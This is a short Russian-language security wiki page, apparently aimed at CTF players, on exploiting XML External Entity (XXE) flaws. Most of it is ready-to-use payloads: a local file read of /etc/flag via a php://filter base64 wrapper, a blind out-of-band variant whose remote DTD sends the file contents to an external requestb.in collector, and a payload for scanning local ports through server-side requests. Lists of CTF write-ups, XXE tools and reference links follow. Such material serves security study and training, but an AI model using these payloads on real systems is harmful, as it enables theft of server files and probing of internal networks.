Xxe

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Поиск уязвимости

Эксплуатация

Чтение локальных файлов

Код для чтения лок. файлов, вывод закодирован в base64:

  1. <?xml version='1.0' standalone='yes'?>
  2. <!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/flag">]>
  3. <root>&xxe;</root>


В случае со слепой XXE:

Отсылаемый код:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY % remote SYSTEM "http://site/xxe.dtd">
  4. %remote;]>
  5. <root/>

Хранящийся по URL'у (http://site/xxe.dtd):

  1. <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/flag">
  2. <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://requestb.in/xxxxxxxx?xxe_local=%payload;'>">
  3.  
  4.  
  5. %int;
  6. %trick;


Сканирование портов

Запускать нужно с Intruder'ом или другой утилитой, позволяющей перебирать значение $$ (1-65535):

  1. <?xml version='1.0' standalone='no'?>
  2. <!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:$$">]>
  3. <root>&xxe;</root>

Примеры тасков

Райтапы

hackyou2014-web400-write-up

GoSecure CTF - Web 300

Belorussky Rail Terminal

SECUINSIDE CTF Onmyweb400


Утилиты

oxml_xxe

XXEinjector

XXE-OOB


Полезные ссылки

owasp

статья от andrepetukhov

xakep.ru

infosec

слепые xxe

detection xxe